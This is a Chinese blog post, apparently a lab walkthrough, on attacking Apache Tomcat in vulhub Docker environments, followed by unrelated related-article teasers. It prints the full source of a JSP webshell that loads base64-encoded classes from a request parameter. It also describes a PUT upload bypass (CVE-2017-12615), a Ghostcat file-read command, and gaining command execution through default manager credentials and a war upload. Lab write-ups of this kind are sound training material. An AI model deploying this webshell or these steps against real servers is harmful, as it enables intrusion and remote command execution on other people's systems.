16_tomcat

news2024/11/17 2:27:04

tomcat

一、jsp一句话木马

这个东西网上百度就有

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

将jsp一句话木马放到IDEA里面,并且运行
在这里插入图片描述

然后用蚁剑连接,可以看到成功使用jsp一句话木马获取webshell,哪怕对Java不熟悉都可以使用

在这里插入图片描述
在这里插入图片描述

二、CVE-2017-12615(PUT上传文件)

1. 环境搭建

在vulhub靶场使用docker搭建tomcat的CVE-2017-12615漏洞环境
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2. PUT上传文件

使用burp抓包
在这里插入图片描述
将GET改为PUT,并且上传hello.txt文件,内容为helloworld
在这里插入图片描述
响应包为201,代表成功
在这里插入图片描述
在docker环境里面,进入容器,然后切换到webapps目录里面的ROOT目录
两次对比前后发现,多出了个hello.txt,并且内容就是我们上传的helloworld
说明PUT上传文件成功
在这里插入图片描述

3. PUT上传jsp一句话

既然上传txt文件成功了,我们想要获取webshell,当然要上传jsp一句话

先直接按照上传txt那样上传试试,看有什么问题
在这里插入图片描述
发现状态码为404,代表上传失败了
在这里插入图片描述
我们想一下,能上传txt文件,但是上传jsp文件就上传限制,可能是做了后缀限制
根据学习过的文件上传的绕过方法,windows的文件上传绕过,常用的是点空格点绕过,这里我测试了不行

linux的一般绕过,是在文件后面加个/,上传后,linux会自动吃掉/

再次测试,响应包状态码为201
在这里插入图片描述
在这里插入图片描述
成功上传jsp一句话木马
在这里插入图片描述

4. 获取webshell

上传了jsp一句话之后,自然就是测试用蚁剑是否能成功连接

结果自然是成功的
在这里插入图片描述
在这里插入图片描述

三、CVE-2020-1938(幽灵猫任意文件读取漏洞)

1. 环境搭建

在这里插入图片描述
在这里插入图片描述

2. 漏洞利用

这里要使用一个工具ghost cat,也就是幽灵猫工具
使用的是python脚本,使用的方法在截图里面有给出
在这里插入图片描述
根据示例,成功获取WEB-INF下面的web.xml内容

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py  192.168.11.131 -p 8009 -f WEB-INF/web.xml

在这里插入图片描述

3. 漏洞验证

上面的利用只是按照示例,读取了示例中给出的文件
我们要来验证一下,是否可以进行任意文件读取,还是说只能读取那个文件

首先我们进入容器,在webapps的ROOT目录下创建一个hello.txt,内容为helloworld haha
在这里插入图片描述
然后我们用幽灵猫读取一下这个hello.txt文件
发现成功读取,证明的确是可以读取任意文件
在这里插入图片描述

四、tomcat8(弱口令+war包上传的任意命令执行漏洞)

1. 环境搭建

在这里插入图片描述
在这里插入图片描述

2. 漏洞利用

点击tomcat的Manager App
在这里插入图片描述
弹出一个身份认证,默认的账户密码都是tomcat
在这里插入图片描述

登录之后进入如下界面
在这里插入图片描述
往下拉,可以看到有一个上传war包的功能点
在这里插入图片描述

那么什么叫war包,这里我百度了一下
意思就是上传这个上传war包之后,tomcat服务器会自动运行war包下面的jsp代码
在这里插入图片描述
那么从哪里找到war包?
kali自带了一个cmd的war包,我们将它找到,并且复制到桌面上
在这里插入图片描述
并且查看下cmd.war里面的内容,很像webapps目录,并且存在cmd.jsp文件
cmd.jsp文件就是实现我们的命令执行的主要文件
在这里插入图片描述
在上传war包的功能那里,上传这个cmd.war
在这里插入图片描述
上传成功之后,上面会多出一个/cmd的目录
在这里插入图片描述
点开之后,是如下的404界面,是因为我们没有加jsp文件
在这里插入图片描述
在url后面加上cmd.jsp之后,成功进入如下界面
在这里插入图片描述
剩下就是测试一下功能,执行命令,成功验证漏洞
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/192653.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Coresight - HW Assisted Tracing on ARM

文章目录一、Introduction二、Acronyms and Classification2.1 Acronyms2.2 Classification三、Device Tree Bindings四、Framework and implementation五、Device Naming scheme六、Topology Representation七、How to use the tracer modules7.1 Using the sysFS interface7.…

如何实现RTMP协议

认识rtmp rtmp是Adobe公司出品的流媒体传输协议&#xff0c;它的全称是Real Time Messaging Protocol&#xff0c;是一个实时消息传输协议&#xff0c;学习RTMP一定要抓住 一个关键点&#xff1a;消息。 rtmp协议的原文可以在Adobe官网下载&#xff0c;内容十分精简&#xff…

用户身份管理(CIAM)如何帮助业务持续增长?|身份云研究院

精明的决策者很早就意识到&#xff0c;数字化转型的核心是为用户提供完善的“数字旅程”&#xff0c;这里的用户包括“员工”和“客户”&#xff0c;而“数字旅程”的核心则是持续提供优质的「数字用户体验&#xff08;DCX&#xff09;」。本文将主要探讨如何制定完善“客户数字…

window版Docker打包镜像并上传到服务器使用

背景&#xff1a;利用jmeter实现自动化进行线上监视&#xff0c;要部署于多台服务器上监视&#xff0c;为了节省时间&#xff0c;方便使用&#xff0c;最终决定使用docker将自动化脚本打包成镜像&#xff0c;这样只要服务器上安装docker环境&#xff0c;直接下载镜像就可以使用…

2023全新SF授权系统源码 V3.7全开源无加密版本

内容目录一、详细介绍二、效果展示1.部分代码2.效果图展示三、学习资料下载一、详细介绍 SF多应用综合验证授权系统 V4.0更新内容 采用ThinkPHP 6.0 EasyWebAdmin 支持自定义判断规则&#xff08;默认提供域名QQ机器码规则&#xff09; 支持在线充值&#xff0c;用户Api授权&…

(免费分享)springboot人事管理系统

基础环境&#xff1a;1. JDK:1.82. MySQL:5.73. Maven3.01. 核心框架&#xff1a;Spring Boot 2.2.13.RELEASE2. ORM框架&#xff1a;MyBatisPlus 3.1.23. 数据库连接池&#xff1a;Druid 1.2.84. 安全框架&#xff1a;Apache Shiro 1.8.05. 日志&#xff1a;SLF4J &#xff0c…

最近邻插值法

文章目录前言一、最近邻插值法二、代码实现总结本章节进入图像处理&#xff0c;利用python语言来实现各种图像处理的方法&#xff0c;从软件角度去理解图像处理方法&#xff0c;为后期的FPGA处理图像做准备。 前言 一、最近邻插值法 最近邻插值就是在目标像素点上插入离对应原…

界面控件DevExpress WinForm中文教程 - 如何应用Windows 11 UI?

DevExpress WinForm拥有180组件和UI库&#xff0c;能为Windows Forms平台创建具有影响力的业务解决方案。DevExpress WinForm能完美构建流畅、美观且易于使用的应用程序&#xff0c;无论是Office风格的界面&#xff0c;还是分析处理大批量的业务数据&#xff0c;它都能轻松胜任…

全网最详细的org.springframework.jdbc.UncategorizedSQLException的多种解决方法

文章目录1. 引出问题2. 分析问题3. 解决问题4. 解决该问题的其他方法4.1 方法14.2 方法24.3 方法34.4 方法4如果你遇到的问题不是我所遇到的问题&#xff0c;可以使用最下面的方法解决你遇到的这个错误。 1. 引出问题 今天在写“Mybatis-Plus中分页插件PaginationInterceptor…

利用Python读取外部数据文件

名字&#xff1a;阿玥的小东东 学习&#xff1a;python、c 主页&#xff1a;阿玥的小东东 目录 一、读取文本文件的数据 二、读取电子表格文件 三、读取统计软件生成的数据文件 不论是数据分析&#xff0c;数据可视化&#xff0c;还是数据挖掘&#xff0c;一切的一切全都是以…

java常用类: Arrays类的常用方法

java常用类型: Ineteger等包装类 String类&#xff0c;StringBuffer类和StringBuilder类 Math类及常用方法 System类及常用方法 Arrays类及常用方法 BigInteger类和BigDecimal类及常用方法 日期类Date类,Calender类和LocalDateTime类 文章目录ArraysArrays常用方法Arrays.sort(…

全排列问题的解题思路

假设有这么个正整数n&#xff0c;要求输出1到n的所有排列&#xff1f;   输入&#xff1a;3 输出&#xff1a;123&#xff0c;132&#xff0c;213&#xff0c;231&#xff0c;312&#xff0c;321 一、无脑循环求解&#xff1f; 拿到这个问题&#xff0c;当然我的第一个想法就…

上下文驱动的图上文案生成

✍&#x1f3fb; 本文作者&#xff1a;持信、弈臻、悟放、积流、孟诸1. 摘要为商品图片上特定位置配上装饰性文案来突出重点在广告业务中有着十分广泛的应用前景。然而&#xff0c;现有的图片文案描述生成系统均生成与图片位置关系无关的文案&#xff0c;无法很好地应用到广告业…

66. Python 类的总结

66. 类的总结 文章目录66. 类的总结1. 类2. 对象3. 类的语法4. 属性5. 方法6. 创建对象7. 调用属性8. 调用方法9. 方法的值的传递第1情况&#xff1a;没有值第2种情况&#xff1a;有值10. __init__方法1. __init__写法2. __init__作用3. 重点关注11. 自定义函数和方法的异同1. …

Unity渲染管线(Render Pipeline)笔记

Rendering是什么 渲染Rendering可以理解为将拿到的3D数据生成一副2D图像的过程。 这些3D数据包含&#xff1a;3D模型本身的点的信息&#xff0c;三角形面的描述信息&#xff0c;模型应用的材质以及摆放的虚拟相机的信息等。Rendering过程会使用全部的数据&#xff08;物体的几何…

摄像头录像大师推荐?如何录制摄像头,图文教程

现如今&#xff0c;很多笔记本电脑上都会携带摄像头&#xff0c;用来录制摄像头画面&#xff0c;方便小伙伴的时候。可很多小伙伴却表示&#xff0c;自己不知道电脑摄像头画面该如何录制。有什么有什么好用的摄像头录制大师&#xff1f;如何录制摄像头画面&#xff1f;本篇文章…

【10w字】超详细【百分百拿offer】的面试教程,接口测试篇

1.请问你是如何做接口测试的&#xff1f; 大体来说&#xff0c;经历以下过程&#xff1a;接口需求调研、接口测试工具选择、接口测试用例编写、接口测试执行、接口测试回归、接口测试自动化持续集成。 具体来说&#xff0c;接口测试流程分成以下九步&#xff1a; 第一步&…

RabbitMq之发布确认(高级)

一.发送消息到交换机失败 正常情况下生产者只发布消息到交换机&#xff0c;无法确定是否成功把消息发送到交换机当中&#xff0c;由此发布确认的回调函数可以通知生产者消息是否发送到了交换机。 代码如下 1.先创建交换机、队列等信息 package jot.jothot.testMq;import or…

OS 学习笔记(6) 操作系统引导

OS 学习笔记(6) 操作系统引导 这篇笔记对应的王道OS 1.5 操作系统引导&#xff0c;同时参考了 《Operating System Concepts, Ninth Edition》和 俗称ostep的《 Operating Systems: Three Easy Pieces》还有 《Operating Systems: Principles and Practice》 文章目录OS 学习笔…

实战还原--从大黄蜂样本到域控管理员技术解析

0 前言实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例&#xff0c;但其文章组织架构建立在ATT&CK框架上&#xff0c;而不是按照时间线逻辑来组织&#xff0c;因此对于渗透人员了解学习其前后过程有些困难&#xff0c;特此梳理一番…